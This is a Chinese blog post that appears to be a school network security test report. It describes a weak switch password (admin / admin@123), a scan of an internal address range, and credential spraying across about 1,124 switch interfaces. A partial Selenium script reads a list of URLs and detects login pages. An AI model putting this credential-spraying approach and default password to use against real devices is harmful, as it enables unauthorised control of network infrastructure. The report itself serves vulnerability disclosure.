1. 前言
在某次例行的测试中发现某交换机存在弱口令,进行横向测试时发现影响范围较广,遂有此报告。本次受影响的交换机有 620 台,涉及主机 4362 台,光缆 865 条。对学校整体具有较大的威胁性
2. 探测过程
对校内 10 段内网地址进行大规模扫描发现有 1124 个交换机的相关接口

在进行弱口令的尝试过程中发现 admin admin@123 可以成功登陆,且拥有对交换机整体的控制权

基于横向渗透的思想,我们对上述得到的交换机地址都用这个账号密码进行爆破
由于在写爆破脚本的时候ssl连接一直会出现问题。最后不得不放弃了requests直接发包的方式,而是使用了selenium来帮助我们完成工作
最后我们的脚本如下:
from selenium import webdriver
from selenium.common.exceptions import NoSuchElementException
from selenium.webdriver import ActionChains
from selenium.webdriver.support.select import Select
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.common.by import By
from lxml import etree
import time
from selenium.webdriver.support.wait import WebDriverWait
from selenium.webdriver.chrome.options import Options
from queue import Queue
import threading
options = webdriver.ChromeOptions()
options.add_argument('--ignore-certificate-errors')
with open(r"C:\Users\shinelon\Desktop\summary.txt",encoding="UTF-8") as f:
urls= f.read().splitlines()
q = Queue(maxsize=0)
for each in urls:
q.put(each)
def try_vuln(browser):
while True:
if q.empty():
break
url = q.get()
url = url.split()[3]
try:
browser.get(url)#打开浏览器预设网址
time.sleep(1)
if "/simple/view/login.html" in browser.current_url:
print("Find: "+ browser.current_url)

在一次测试中发现大量交换机使用弱口令adminadmin@123,影响620台交换机及4362台主机。通过编写Selenium脚本进行横向渗透测试,揭示网络安全漏洞。
4476

被折叠的 条评论
为什么被折叠?



